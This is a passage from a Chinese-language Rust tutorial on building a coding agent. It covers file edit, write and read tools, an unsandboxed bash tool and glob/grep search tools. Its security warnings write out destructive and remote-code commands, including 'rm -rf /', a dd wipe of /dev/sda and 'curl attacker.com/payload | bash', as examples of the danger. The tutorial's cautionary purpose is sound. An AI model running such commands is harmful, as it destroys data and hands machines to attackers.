定义。 三个必填参数:pathold_stringnew_string

#![allow(unused)]
fn main() {
pub fn new() -> Self {
    Self {
        definition: ToolDefinition::new(
            "edit",
            "Replace an exact string in a file. The old_string must appear exactly once.",
        )
        .param("path", "string", "Absolute path to the file to edit", true)
        .param("old_string", "string", "The exact string to find", true)
        .param("new_string", "string", "The replacement string", true),
    }
}
}

call() 方法。 读文件、检查唯一性、替换、写回:

#![allow(unused)]
fn main() {
async fn call(&self, args: Value) -> anyhow::Result<String> {
    let path = args["path"]
        .as_str()
        .context("missing 'path' argument")?;
    let old = args["old_string"]
        .as_str()
        .context("missing 'old_string' argument")?;
    let new = args["new_string"]
        .as_str()
        .context("missing 'new_string' argument")?;

    let content = tokio::fs::read_to_string(path)
        .await
        .with_context(|| format!("failed to read '{path}'"))?;

    let count = content.matches(old).count();
    if count == 0 {
        bail!("old_string not found in '{path}'");
    }
    if count > 1 {
        bail!("old_string appears {count} times in '{path}', must be unique");
    }

    let updated = content.replacen(old, new, 1);
    tokio::fs::write(path, &updated).await?;

    Ok(format!("edited {path}"))
}
}

成功时返回 format!("edited {path}")

代码详解

三个必填参数。 pathold_stringnew_string 都是必填的。模型必须明确指定查找什么、替换成什么。没有正则,没有基于行号的编辑,没有 diff 格式,就是纯字符串替换。简单是优点——明确,模型容易用对。

唯一性检查。 这是工具的核心:

#![allow(unused)]
fn main() {
let count = content.matches(old).count();
if count == 0 {
    bail!("old_string not found in '{path}'");
}
if count > 1 {
    bail!("old_string appears {count} times in '{path}', must be unique");
}
}

Rust 概念:bail! 宏

bail!("old_string not found in '{path}'")return Err(anyhow::anyhow!("...")) 的简写,立即从函数返回带指定消息的错误。它是 anyhow crate 的一部分,在任何返回 anyhow::Result 的函数中都可以用。与 ?(传播已有错误)不同,bail! 在原地创建新错误。

两个分支都通过 bail! 返回错误。在 starter 简化的 Tool trait 中,工具从 call() 返回 anyhow::Result<String>。工具返回 Err 时,agent 循环将其转为 LLM 可见的错误消息,模型随后用正确的字符串重试。

简化 trait 中的错误处理

starter 的 Tool trait 从 call() 返回 anyhow::Result<String>,错误处理很直接——任何失败都用 bail!()?,agent 循环负责把错误转为 LLM 可读的消息。

在 agent 的 execute_tools 方法中,工具调用这样处理:

#![allow(unused)]
fn main() {
match tool.call(call.arguments.clone()).await {
    Ok(result) => result,
    Err(e) => format!("error: {e}"),
}
}

call() 返回的 Err 变成类似 "error: old_string not found in 'foo.rs'" 的字符串。模型看到后知道换个字符串重试。

更复杂的设计(Claude Code 所采用的)区分了可恢复的工具级错误(作为成功值返回)和真正的 I/O 故障(作为 Err 返回)。starter 对两者统一使用 Err,agent 循环以相同方式处理。


6.4 集成:写入、编辑、读取

这些工具的真正威力来自组合使用。典型的 agent 工作流:

  1. 写入新文件
  2. 编辑修复 bug 或精化代码
  3. 读取验证结果

以工具调用的形式呈现:

Agent: I'll create the handler file.
-> write(path: "/tmp/project/handler.rs", content: "fn main() { println!(\"hello\"); }")
<- "wrote /tmp/project/handler.rs"

Agent: Let me update the greeting.
-> edit(path: "/tmp/project/handler.rs", old_string: "hello", new_string: "goodbye")
<- "edited /tmp/project/handler.rs"

Agent: Let me verify the change.
-> read(path: "/tmp/project/handler.rs")
<- "fn main() { println!(\"goodbye\"); }"

每个工具做一件事,清晰地传达结果。agent 看到每步输出,决定下一步。编辑失败(字符串错误)时,agent 看到错误,用正确的字符串重试。

写入-编辑-读取正是 Claude Code 在实践中修改文件的方式。不生成完整文件再覆写——那会丢失被修改部分以外的内容。而是对需要更改的具体行做精确编辑,再读取结果确认。这样更可靠,diff 也更小。


6.5 Claude Code 的实现方式

Claude Code 的文件工具遵循相同协议,但更为精细:

读取支持图片和 PDF。检测二进制文件并适当渲染(base64 编码的图片作为多模态内容块发送)。截断策略基于 token 计数而非字符计数,文件为空时会发出警告。

写入检查受保护的文件。Claude Code 维护一份永不覆写的文件列表(.envcredentials.json 等)并阻止写入。还与权限系统集成,在特定模式下覆写现有文件前需要用户批准。

编辑功能更强大。支持单次调用中进行多处编辑,有 diff 预览模式,处理编码检测,并验证编辑结果在语法上有效(对支持的语言)。唯一性检查也更细致,会考虑匹配项周围的上下文行以消除歧义。

但核心协议与你刚构建的完全相同:结构体持有定义,Tool trait 提供接口,call 方法做实际工作,agent 循环调度并收集结果。理解这三个简单工具,就有了理解 Claude Code 完整工具集的基础。


6.6 工具文件组织

三个工具都在 src/tools/,与后续章节要构建的其他工具放在一起。starter 的模块结构:

src/tools/
  mod.rs    -- re-exports all tools
  ask.rs    -- AskTool (bonus)
  bash.rs   -- BashTool (Chapter 10)
  edit.rs   -- EditTool
  read.rs   -- ReadTool
  write.rs  -- WriteTool

mod.rs 桶文件重新导出所有内容:

#![allow(unused)]
fn main() {
mod ask;
mod bash;
mod edit;
mod read;
mod write;

pub use ask::*;
pub use bash::BashTool;
pub use edit::EditTool;
pub use read::ReadTool;
pub use write::WriteTool;
}

这样使用者可以写 use crate::tools::{ReadTool, WriteTool, EditTool},无需深入各个模块。


6.7 测试

运行文件工具测试:

cargo test -p mini-claw-code-starter test_read_   # ReadTool
cargo test -p mini-claw-code-starter test_write_  # WriteTool
cargo test -p mini-claw-code-starter test_edit_   # EditTool

cargo test 的过滤器是子字符串匹配,不支持 OR,无法一次调用组合多个前缀。分三条命令分别运行,或去掉所有前缀用通配命令一次看完: cargo test -p mini-claw-code-starter -- --test-threads=1

各测试验证的内容:

ReadTool 测试(在 test_read_ 中)

  • test_read_read_definition:检查工具定义的名称是否为 "read"。
  • test_read_read_file:读取文件,验证内容出现在输出中。
  • test_read_read_missing_file:尝试读取不存在的文件,验证结果是 Err

WriteTool 测试(在 `` 中)

  • test_write_creates_file:向新文件写入内容,验证结果包含确认信息,并读回文件确认内容。
  • test_write_creates_dirs:写入嵌套目录中的文件,所有中间目录自动创建。
  • test_write_overwrites_existing:向已有内容的文件写入,验证旧内容被替换。

EditTool 测试(在 `` 中)

  • test_edit_replaces_string:编辑文件中的字符串,验证结果显示 "edited" 且文件已更新。
  • test_edit_not_found:尝试替换不存在的字符串,验证结果是 Err
  • test_edit_not_unique:尝试替换多次出现的字符串,验证错误提到了歧义性。

小结

三个工具,一种模式。本章每个工具都遵循相同结构:

  1. 结构体,带 definition: ToolDefinition 字段。
  2. new() 构造函数,用第 4 章的参数构建器构建定义。
  3. Tool 实现,包含 definition()call()

这种模式可扩展。第 10 章加入 Bash 时,结构完全相同,只有 call() 的逻辑不同。这就是 Tool trait 的威力:统一接口,让每个工具从 agent 角度看都是可互换的。

本章核心经验:

  • 自动化显而易见的事。 WriteTool 自动创建父目录,省去一次浪费的工具调用。
  • 检查唯一性。 EditTool 要求旧字符串恰好出现一次。零次匹配说明模型字符串有误,多次匹配说明替换有歧义。
  • 错误干净传播。 工具返回 anyhow::Result<String>,agent 循环捕获错误并转为 LLM 可读、可恢复的消息。

核心要点

文件工具是 agent 操作代码库的双手。读取、写入、编辑三工具的划分,给了 LLM 针对不同操作的清晰动词,而非一个臃肿的"文件"工具。EditTool 的唯一性检查是最重要的设计决策:强制 LLM 提供无歧义的匹配,及早发现错误,从而实现可靠的自我纠正。

第 10 章:Bash 工具将构建 agent 武器库中最强大(也最危险)的工具——可以运行任意 shell 命令。

自测


← 第 8 章:系统提示词 · 目录 · 第 10 章:Bash 工具 →

第 10 章:Bash 工具

需要编辑的文件: src/tools/bash.rs 运行测试: cargo test -p mini-claw-code-starter test_bash_ 预计时间: 35 分钟

目标

  • 实现 BashTool,让 agent 能通过 bash -c 运行任意 shell 命令,并捕获合并后的 stdout/stderr 输出。
  • 正确处理三种输出情况:仅有 stdout、仅有 stderr,以及无输出(哨兵值 "(no output)")。
  • 理解为什么本章工具没有安全限制,以及后续章节会添加哪些保护措施(权限、命令分类、钩子)。

bash 工具是 coding agent 中最强大的工具,也是最危险的。一次工具调用,LLM 就能编译代码、运行测试、安装软件包、查看进程、查询数据库,或者删掉你的整个文件系统。其他工具——read、write、edit、grep——各做一件事;bash 什么都能做。

这种能力正是 coding agent 的价值所在。只能读写文件的 agent 是个花哨的文本编辑器;能运行任意 shell 命令的才是真正的程序员——可以尝试、观察、迭代,和人类开发者的工作流一模一样。Claude Code 的 bash 工具是其使用最频繁的工具,在典型会话中占所有工具调用的大多数。

本章构建 BashTool:接收命令字符串,在 bash 子进程中运行,返回合并后的输出。(超时功能作为扩展在后面介绍。)实现本身并不复杂——难点在于刻意省略的部分。没有沙箱,没有命令过滤,没有权限检查,LLM 可以运行任何命令。第 13-16 章加安全防护,现在先把引擎造好,信任驾驶员。

BashTool 处理命令的流程

flowchart TD
    A[LLM sends ToolCall: bash] --> B[Extract command from args]
    B --> C[tokio::process::Command::new bash -c command]
    C --> D[.output captures stdout + stderr]
    D --> E{stdout empty?}
    E -->|No| F[Add stdout to result]
    E -->|Yes| G[Skip]
    F --> H{stderr empty?}
    G --> H
    H -->|No| I["Add 'stderr: ' + stderr"]
    H -->|Yes| J[Skip]
    I --> K{result empty?}
    J --> K
    K -->|Yes| L["Return '(no output)'"]
    K -->|No| M[Return combined result]

BashTool

打开 src/tools/bash.rs,初始桩代码如下:

#![allow(unused)]
fn main() {
use anyhow::Context;
use serde_json::Value;

use crate::types::*;

pub struct BashTool {
    definition: ToolDefinition,
}

impl Default for BashTool {
    fn default() -> Self {
        Self::new()
    }
}

impl BashTool {
    /// Schema: one required "command" parameter (string).
    pub fn new() -> Self {
        unimplemented!(
            "Use ToolDefinition::new(name, description).param(...) to define a required \"command\" parameter"
        )
    }
}

#[async_trait::async_trait]
impl Tool for BashTool {
    fn definition(&self) -> &ToolDefinition {
        &self.definition
    }

    async fn call(&self, _args: Value) -> anyhow::Result<String> {
        unimplemented!(
            "Extract command, run bash -c, combine stdout + stderr, return \"(no output)\" if both empty"
        )
    }
}
}

填写 new()call(),完整实现如下:

#![allow(unused)]
fn main() {
impl BashTool {
    pub fn new() -> Self {
        Self {
            definition: ToolDefinition::new("bash", "Run a bash command and return its output")
                .param("command", "string", "The bash command to run", true),
        }
    }
}

#[async_trait::async_trait]
impl Tool for BashTool {
    fn definition(&self) -> &ToolDefinition {
        &self.definition
    }

    async fn call(&self, args: Value) -> anyhow::Result<String> {
        let command = args["command"]
            .as_str()
            .context("missing 'command' argument")?;

        let output = tokio::process::Command::new("bash")
            .arg("-c")
            .arg(command)
            .output()
            .await?;

        let stdout = String::from_utf8_lossy(&output.stdout);
        let stderr = String::from_utf8_lossy(&output.stderr);

        let mut result = String::new();
        if !stdout.is_empty() {
            result.push_str(&stdout);
        }
        if !stderr.is_empty() {
            if !result.is_empty() {
                result.push('\n');
            }
            result.push_str("stderr: ");
            result.push_str(&stderr);
        }

        if result.is_empty() {
            result.push_str("(no output)");
        }

        Ok(result)
    }
}
}

下面逐段讲解。

工具定义

#![allow(unused)]
fn main() {
ToolDefinition::new("bash", "Run a bash command and return its output")
    .param("command", "string", "The bash command to run", true)
}

只有一个必填参数:command,即要执行的 shell 命令。描述语 "Run a bash command and return its output" 刻意简洁。LLM 本就知道 bash 是什么,过度描述浪费 prompt token,还可能让模型在判断何时使用时过度纠结。

扩展方向:可以添加 timeout 参数,让 LLM 为耗时较长的命令覆盖默认超时。参考实现中包含了这一功能。

参数提取

#![allow(unused)]
fn main() {
let command = args["command"]
    .as_str()
    .context("missing 'command' argument")?;
}

提取 command 时,.context(...) 配合 ? 在参数缺失时返回 Err。没有命令的 bash 调用属于协议违规,不是工具故障。LLM 不应产生这种情况,一旦出现,agent 的错误处理会捕获它。

运行命令

#![allow(unused)]
fn main() {
let output = tokio::process::Command::new("bash")
    .arg("-c")
    .arg(command)
    .output()
    .await?;
}

Rust 概念:tokio::process::Command 与 std::process::Command

tokio::process::Commandstd::process::Command 的异步版本。核心区别:std 版本在等待子进程结束时阻塞当前 OS 线程;在 Tokio 这样的异步运行时中,阻塞线程意味着运行时无法推进其他任务(其他工具调用、流式事件、UI 更新等)。tokio 版本在等待时让出运行时,线程得以处理其他工作。async fn 中请始终使用 tokio::process——在异步上下文中使用 std::process 是常见错误,高负载下可能导致性能问题甚至死锁。

这里有两层逻辑,各司其职:

  1. tokio::process::Command 启动异步子进程。使用 bash -c,让命令字符串由 bash 解释执行,而非作为原始二进制调用。管道、重定向、分号等所有 shell 特性都可用:echo hello | wc -cls > out.txtcd /tmp && pwd

  2. .output() 收集进程的 stdout、stderr 和退出状态,将所有内容缓冲到内存。生产 agent 通常需要流式输出(实时将 stdout/stderr 传给 TUI),但缓冲收集更简单,对我们的目的已足够。

进程启动失败时(找不到 bash、OS 拒绝创建进程),? 将错误向上传播,agent 循环捕获后报告给 LLM。

添加超时(扩展)

没有超时,一个出问题的命令就能让 agent 永久挂起。LLM 可能运行 sleep infinity、启动监听端口的服务器,或触发等待 stdin 的交互程序——这些都会无限期阻塞 agent 循环,没有新的工具调用,没有新的响应,只剩一个空转消耗计算资源的冻结进程。

扩展方案:用 tokio::time::timeout 包装命令:

#![allow(unused)]
fn main() {
let output = tokio::time::timeout(
    std::time::Duration::from_secs(120),
    tokio::process::Command::new("bash")
        .arg("-c")
        .arg(command)
        .output(),
)
.await;
}

这会产生嵌套的 Result:成功时为 Ok(Ok(output)),启动失败时为 Ok(Err(e)),超时时为 Err(_)。参考实现包含了这一模式。

输出格式

输出构建逻辑处理三种情况:stdout、stderr 和空输出。

#![allow(unused)]
fn main() {
let stdout = String::from_utf8_lossy(&output.stdout);
let stderr = String::from_utf8_lossy(&output.stderr);

let mut result = String::new();
if !stdout.is_empty() {
    result.push_str(&stdout);
}
if !stderr.is_empty() {
    if !result.is_empty() {
        result.push('\n');
    }
    result.push_str("stderr: ");
    result.push_str(&stderr);
}

if result.is_empty() {
    result.push_str("(no output)");
}
}

逐条分析:

Rust 概念:String::from_utf8_lossy 与 String::from_utf8

String::from_utf8_lossy 返回 Cow<str>——字节是合法 UTF-8 时零拷贝借用,否则分配新 String 并用替换字符代替非法字节。另一选项 String::from_utf8() 遇到无效 UTF-8 返回 Err,需要额外处理,而这类情况我们希望容忍。需要字符串但无法保证输入编码时,from_utf8_lossy 是正确选择。

String::from_utf8_lossy 将原始字节转为字符串,用替换字符代替无效 UTF-8 序列。命令输出不能保证是合法 UTF-8——二进制数据、依赖 locale 的编码、损坏的流都可能产生无效字节。有损转换是正确的默认选择:LLM 需要字符串,几个替换字符远好过程序崩溃。

stdout 排前面,不加修饰。 这是主要输出。ls 列文件、cat 打印内容时,输出原样呈现,不加前缀,不做包装。

stderr 加上 "stderr: " 前缀。 让 LLM 区分正常输出与错误输出。很多命令即便成功也会向 stderr 写入内容(编译器警告、进度指示、弃用提醒)。前缀防止模型把警告误判为失败。只有 stdout 也有内容时才在前缀前加换行,保持仅有 stderr 时输出整洁。

静默命令返回 "(no output)" truemkdir -p /tmp/foocp a b 等命令成功执行后不产生任何 stdout 和 stderr。返回空字符串会让 LLM 困惑,以为工具失败或结果丢失。这个哨兵字符串明确告知:命令已执行,只是没有输出。

扩展方向:也可以在输出中报告非零退出码。参考实现会在进程以非零状态退出时附加 "exit code: N",帮助 LLM 诊断失败原因。

安全注意事项

bash 工具是 agent 工具箱中最危险的工具,可以运行任何命令——rm -rf /dd if=/dev/zero of=/dev/sdacurl ... | bash。starter 简化版 Tool trait 不包含 is_destructive() 这类安全标志,但在生产 agent(以及参考实现)中,bash 工具会被标记为破坏性操作,即使在自动确认模式下也需要用户明确批准。

starter 的 Tool trait 只有 definition()call()。添加安全元数据(只读、破坏性、并发安全标志)是后续章节的扩展主题。

安全警告

该工具将 LLM 生成的命令直接传给 bash shell,没有沙箱,没有命令过滤,没有白名单,没有黑名单。LLM 可以运行 rm -rf /,文件系统就没了;可以运行 curl attacker.com/payload | bash,机器就被攻陷了;还可以读取你的 SSH 密钥、环境变量、浏览器 cookie。

这不是假设性的担忧。LLM 可以通过提示注入被操控——恶意指令隐藏在 agent 处理的文件内容、README 或网页中。精心构造的提示注入可能让模型泄露数据或销毁文件。

在本教程范围内,bash 工具在受控环境中配合可信 prompt 使用是安全的。不要指向不受信任的输入,不要在有敏感数据的机器上运行,请使用容器、虚拟机,或至少使用权限受限的专用用户账户。

第 13-16 章会构建使 bash 工具适合生产环境的安全基础设施:

  • 第 13 章(权限):添加权限引擎,对每次工具调用设置门控,破坏性操作要求用户批准。
  • 第 14 章(安全):添加命令分类,检测并阻止 rm -rfchmod 777curl | bash 等危险模式。
  • 第 15 章(钩子):添加工具调用前钩子,在执行前检查并拒绝命令。
  • 第 16 章(计划模式):添加只读模式,彻底阻止破坏性工具。

构建这些章节之前,请以对待不可预测协作者的 sudo 权限那样的态度认真对待 bash 工具。

Claude Code 的做法

Claude Code 的 bash 工具共用同一核心——带超时的 bash -c <command>——但加了多层生产级加固:

命令过滤。 执行任何命令前,Claude Code 通过安全分类器检查危险模式。rm -rf /chmod -R 777curl ... | sh 等会被标记或直接阻断。分类器不是简单的正则——理解 shell 引号和管道,避免误判。

工作目录管理。 Claude Code 为每次 bash 调用跟踪并设置工作目录。用户在一条命令中 cd 进入某目录后,后续命令会记住。我们的版本始终在进程当前目录下运行。

超时时杀掉进程组。 我们的工具超时后,被启动的进程可能继续在后台运行。Claude Code 为每条命令创建进程组,超时时杀掉整个进程组,确保没有孤儿进程残留。

流式输出 stdout/stderr。 Claude Code 不是等所有输出就绪后才一次性返回,而是实时将 stdout 和 stderr 管道传送到 TUI。用户能实时看到编译输出、测试结果和进度指示。对于耗时较长的命令,等待最终结果会让用户盯着空白屏幕——流式输出在这种场景下必不可少。

权限引擎集成。 每条 bash 命令在执行前都经过权限引擎。根据配置,用户可能被提示批准命令,命令可能被自动批准(匹配安全模式),也可能被直接拒绝。

我们的版本是不带安全包装的核心协议——展示 LLM 如何与 shell 交互的最小可行实现。生产特性是叠加在上面的层次,不是对基础设计的改变。

测试

运行 bash 工具测试:

cargo test -p mini-claw-code-starter test_bash_

各条 bash 专项测试的验证内容:

test_bash_definition:检查工具名称为 "bash"。

test_bash_runs_command:运行简单命令,检查 stdout 被正确捕获。

test_bash_captures_stderr:运行向 stderr 写入内容的命令,检查输出中包含 stderr 内容。

test_bash_stdout_and_stderr:运行同时产生 stdout 和 stderr 的命令,验证两者都出现在输出中。

test_bash_no_output:运行 true(静默成功的命令),检查输出表明没有产生输出。

test_bash_multiline_output:运行多命令管道,检查所有输出行都出现。

小结

bash 工具构建完成——agent 工具箱中最重要也最危险的工具:

  • command 是唯一的必填参数。
  • tokio::process::Command 配合 bash -c,赋予 LLM 完整的 shell 访问能力——管道、重定向、变量,以及所有 bash 支持的特性。
  • 输出格式将 stdout 和带标签的 stderr 合并为单个字符串,静默命令返回 "(no output)" 告知 LLM 命令已执行。
  • 无安全限制——本章构建的是原始能力,权限引擎、安全分类器、钩子和计划模式留到后续章节。

扩展方向:可以添加 timeout 参数(防止命令挂起)、退出码报告,以及 is_destructive() 等安全标志。

bash 工具使核心工具集完整。agent 现在可以读取文件、写入文件、编辑文件、运行任意命令。配合前几章的 SimpleAgent 驱动循环,已经拥有一个可运行的 coding agent——能理解代码库、进行修改、运行测试,持续迭代直到任务完成。

核心要点

bash 工具是让 coding agent 成为程序员而非文本编辑器的关键。实现上是最简单的工具(一个 Command::new("bash").arg("-c").arg(command) 调用),做到安全却最难。捕获输出、标记 stderr、处理静默——这套实现模式可复用于任何基于子进程的工具。

下一步

第 11 章:搜索工具将构建帮助 agent 导航大型代码库的工具——按模式查找文件的 glob,以及搜索文件内容的 grep。这些只读工具是 agent 的眼睛,与已经构建的双手(bash、write、edit)相辅相成。

自我检测


← 第 9 章:文件工具 · 目录 · 第 11 章:搜索工具 →

第 11 章:搜索工具

需要编辑的文件: (扩展章节——starter 中无桩代码) 测试: starter 中无测试。GlobTool 和 GrepTool 属于扩展工具。 预计时间: 25 分钟(只读)

目标

  • 理解为什么文件发现(GlobTool)和内容搜索(GrepTool)是两个独立工具,各有不同的参数 schema。
  • 实现 GlobTool,让 agent 能用 glob crate 按名称模式查找文件。
  • 实现支持递归目录遍历、正则匹配和可选文件类型过滤的 GrepTool
  • 了解在工具实现中何时用异步辅助函数、何时用同步辅助函数(I/O 密集型文件读取 vs. 快速目录遍历)。

只能读取已知文件的 coding agent,就像从不使用 findgrep 的开发者。给它具体的文件路径,它会忠实地读;把它丢进陌生的代码库,它就成了睁眼瞎。无法发现哪些文件存在,无法搜索函数定义,无法找出某个类型被使用的所有地方。没有搜索,LLM 只能猜文件路径——而且会猜错。

搜索工具解决了这个问题。本章探讨两个:GlobTool 按名称模式查找文件,GrepTool 按正则搜索文件内容。二者共同赋予 LLM 导航任意代码库的能力,无论规模多大、多么陌生。它们是 agent 的眼睛。

搜索工具在 agent 工作流中的位置

flowchart TD
    LLM[LLM decides what to do]
    LLM -->|"What files exist?"| Glob[GlobTool]
    LLM -->|"Where is this defined?"| Grep[GrepTool]
    Glob -->|returns file paths| LLM
    Grep -->|"returns path:line: content"| LLM
    LLM -->|reads specific file| Read[ReadTool]
    LLM -->|modifies file| Edit[EditTool]
    Read -->|file contents| LLM
    Edit -->|confirmation| LLM

注意: 搜索工具在本书中属于扩展内容——starter(mini-claw-code-starter)和参考实现(mini-claw-code)均未内置 GlobToolGrepTool。如果你想添加,需要从头创建 src/tools/glob.rssrc/tools/grep.rs,并在 src/tools/mod.rs 中注册。两个工具的完整参考代码均在下文内联展示——把本章看作带注释的实现演练,而非填写桩代码的练习。

两个工具,两个问题

glob 和 grep 的分工对应 LLM 在探索代码时提出的两类截然不同的问题:

  1. "有哪些文件?" — GlobTool。LLM 知道自己想要 Rust 文件、测试文件或配置文件,但不知道确切路径。**/*.rstests/*.toml 这样的 glob 模式能给出答案。

  2. "这个东西定义在哪里?" — GrepTool。LLM 知道一个函数名、一个类型或一条错误信息,需要找到它在哪个文件的哪一行。fn parse_sse_linestruct QueryConfig 这样的正则模式能给出答案。

Claude Code 将它们设计为独立工具,正是基于这个原因。服务不同目的,接收不同输入,LLM 根据当前已知信息在二者之间做出选择。合并为一个工具只会模糊接口——LLM 不得不判断自己是在做名称搜索还是内容搜索,参数 schema 也会变得别扭。


GlobTool

GlobTool 是两者中较简单的。接收 glob 模式,可选地限定在某个基础目录,返回所有匹配的文件路径。

文件布局

实现位于 src/tools/glob.rs,完整代码如下:

#![allow(unused)]
fn main() {
use async_trait::async_trait;
use serde_json::Value;

use crate::types::*;

pub struct GlobTool {
    definition: ToolDefinition,
}

impl GlobTool {
    pub fn new() -> Self {
        Self {
            definition: ToolDefinition::new("glob", "Find files matching a glob pattern")
                .param("pattern", "string", "Glob pattern (e.g. \"**/*.rs\")", true)
                .param(
                    "path",
                    "string",
                    "Base directory to search in (default: current directory)",
                    false,
                ),
        }
    }
}

impl Default for GlobTool {
    fn default() -> Self {
        Self::new()
    }
}

#[async_trait]
impl Tool for GlobTool {
    fn definition(&self) -> &ToolDefinition {
        &self.definition
    }

    async fn call(&self, args: Value) -> anyhow::Result<String> {
        let pattern = args["pattern"]
            .as_str()
            .ok_or_else(|| anyhow::anyhow!("missing 'pattern' argument"))?;

        let base = args
            .get("path")
            .and_then(|v| v.as_str())
            .unwrap_or(".");

        let full_pattern = if pattern.starts_with('/') || pattern.starts_with('.') {
            pattern.to_string()
        } else {
            format!("{base}/{pattern}")
        };

        let entries: Vec<String> = glob::glob(&full_pattern)
            .map_err(|e| anyhow::anyhow!("invalid glob pattern: {e}"))?
            .filter_map(|entry| entry.ok())
            .map(|p| p.display().to_string())
            .collect();

        if entries.is_empty() {
            Ok("no files matched".to_string())
        } else {
            Ok(entries.join("\n"))
        }
    }
}
}

实现逐段讲解

工具定义。 两个参数:pattern(必填)和 path(可选)。模式是标准 glob——*.rs 匹配当前目录下的 Rust 文件,**/*.rs 递归匹配所有 Rust 文件,src/**/*.toml 匹配 src/ 下的 TOML 文件。path 设置基础目录,省略时默认为 `"."(当前工作目录)。

模式构造。 call 方法根据基础目录和用户提供的模式构建完整 glob 模式。模式已经以 /. 开头时,视为绝对路径或相对路径直接使用;否则在前面拼接基础目录:format!("{base}/{pattern}")。以 {"pattern": "*.rs", "path": "/home/user/project"} 调用时,生成 glob /home/user/project/*.rs

glob crate。 使用 glob crate(已在 Cargo.toml 中)进行实际匹配。glob::glob() 返回 Result<PathBuf> 条目的迭代器,用 filter_map 配合 entry.ok() 静默跳过失败的路径(权限错误、损坏的符号链接)。剩余路径转为显示字符串后收集。

输出格式。 匹配路径以换行符连接,每行一个路径。没有匹配时返回 "no files matched" 而非空字符串。这对 LLM 很重要:明确的 "no files matched" 告知它模式有效但没有找到文件,从而提示尝试不同模式。空字符串则含义模糊。


GrepTool

GrepTool 更复杂。用正则搜索文件内容,可选地限定在某个目录并按文件类型过滤。输出遵循经典 grep 格式:path:line_no: content

完整实现

以下是 src/tools/grep.rs

#![allow(unused)]
fn main() {
use std::path::Path;

use async_trait::async_trait;
use serde_json::Value;

use crate::types::*;

pub struct GrepTool {
    definition: ToolDefinition,
}

impl GrepTool {
    pub fn new() -> Self {
        Self {
            definition: ToolDefinition::new("grep", "Search file contents using a regex pattern")
                .param("pattern", "string", "Regex pattern to search for", true)
                .param(
                    "path",
                    "string",
                    "File or directory to search in (default: current directory)",
                    false,
                )
                .param(
                    "include",
                    "string",
                    "Glob pattern to filter files (e.g. \"*.rs\")",
                    false,
                ),
        }
    }
}

impl Default for GrepTool {
    fn default() -> Self {
        Self::new()
    }
}

#[async_trait]
impl Tool for GrepTool {
    fn definition(&self) -> &ToolDefinition {
        &self.definition
    }

    async fn call(&self, args: Value) -> anyhow::Result<String> {
        let pattern = args["pattern"]
            .as_str()
            .ok_or_else(|| anyhow::anyhow!("missing 'pattern' argument"))?;

        let re = regex::Regex::new(pattern)
            .map_err(|e| anyhow::anyhow!("invalid regex pattern: {e}"))?;

        let search_path = args
            .get("path")
            .and_then(|v| v.as_str())
            .unwrap_or(".");

        let include_pattern = args.get("include").and_then(|v| v.as_str());
        let include_glob = include_pattern
            .map(|p| glob::Pattern::new(p))
            .transpose()
            .map_err(|e| anyhow::anyhow!("invalid include pattern: {e}"))?;

        let path = Path::new(search_path);
        let mut matches = Vec::new();

        if path.is_file() {
            search_file(&re, path, &mut matches).await;
        } else if path.is_dir() {
            let mut entries = Vec::new();
            collect_files(path, &include_glob, &mut entries);
            entries.sort();
            for file_path in entries {
                search_file(&re, &file_path, &mut matches).await;
            }
        } else {
            anyhow::bail!("path does not exist: {search_path}");
        }

        if matches.is_empty() {
            Ok("no matches found".to_string())
        } else {
            Ok(matches.join("\n"))
        }
    }
}

/// Search a single file for regex matches and append formatted results.
async fn search_file(re: &regex::Regex, path: &Path, matches: &mut Vec<String>) {
    let Ok(content) = tokio::fs::read_to_string(path).await else {
        return; // Skip binary/unreadable files
    };
    let display = path.display();
    for (line_no, line) in content.lines().enumerate() {
        if re.is_match(line) {
            matches.push(format!("{display}:{}: {line}", line_no + 1));
        }
    }
}

/// Recursively collect files from a directory, optionally filtering by glob.
fn collect_files(
    dir: &Path,
    include: &Option<glob::Pattern>,
    out: &mut Vec<std::path::PathBuf>,
) {
    let Ok(entries) = std::fs::read_dir(dir) else {
        return;
    };
    for entry in entries.flatten() {
        let path = entry.path();
        if path.is_dir() {
            // Skip hidden directories
            if path
                .file_name()
                .is_some_and(|n| n.to_string_lossy().starts_with('.'))
            {
                continue;
            }
            collect_files(&path, include, out);
        } else if path.is_file() {
            if let Some(glob) = include {
                let name = path
                    .file_name()
                    .map(|n| n.to_string_lossy().to_string())
                    .unwrap_or_default();
                if !glob.matches(&name) {
                    continue;
                }
            }
            out.push(path);
        }
    }
}
}

实现逐段讲解

内容较多,逐步拆解。

工具定义。 三个参数:pattern(必填,正则)、path(可选,文件或目录)、include(可选,文件名 glob 过滤)。LLM 可能以 {"pattern": "fn main"} 搜索当前目录,也可能以 {"pattern": "TODO", "path": "src/", "include": "*.rs"} 只搜索 src/ 下的 Rust 文件。

正则编译。 模式提前编译为 regex::Regex。LLM 提供无效正则时(缺少闭合括号、错误转义),立即返回错误,而非在搜索途中崩溃。regex crate 支持完整的 Rust 正则语法——字符类、量词、交替、捕获组。

include 过滤器。 include 参数是 glob 模式,不是正则。使用与 GlobTool 相同的 glob crate,将其编译为 glob::Pattern

Rust 概念:Option::transpose

.transpose()Option<Result<T>> 转换为 Result<Option<T>>。这是处理可能失败的可选操作的常用 Rust 惯用法。没有 transpose,需要用 matchif let 分别处理 Some(Ok(...))Some(Err(...))None 三种情况;有了它,可以用 ? 传播错误,得到干净的 Option<T>x.map(fallible_fn).transpose()? 的含义:如果存在,尝试该操作;失败则传播错误;不存在则产生 None

三路路径分发。 搜索路径可以是文件、目录或不存在:

  • 文件:只搜索那一个文件。LLM 已知要看哪个文件时这样调用。
  • 目录:递归收集所有文件(如果提供了 include 则过滤),排序后逐一搜索,确保输出有序。
  • 不存在:通过 bail! 返回错误。agent 循环捕获后向 LLM 报告 "error: path does not exist: /nonexistent/path",模型可以尝试其他路径恢复。

输出格式。 每条匹配格式化为 path:line_no: content,遵循经典 grep 惯例。行号从 1 开始(人类和 LLM 都期望第一行是第 1 行,不是第 0 行)。没有匹配时返回 "no matches found"——明确胜于空白。


辅助函数设计

Rust 概念:辅助函数中异步与同步的选择

两个辅助函数——search_filecollect_files——有意采用了不同的签名。理解其中原因,可以揭示实用的 Rust 异步模式。决策规则很简单:函数执行可能阻塞的 I/O(读取文件内容)就用异步;执行快速的元数据操作(列出目录条目)就保持同步。 把所有东西都变成异步"以防万一"只会增加复杂度——递归异步函数需要 Pin<Box<dyn Future>>async_recursion crate——而当操作本身已经很快时,这样做毫无收益。

search_file 是异步的

#![allow(unused)]
fn main() {
async fn search_file(re: &regex::Regex, path: &Path, matches: &mut Vec<String>) {
    let Ok(content) = tokio::fs::read_to_string(path).await else {
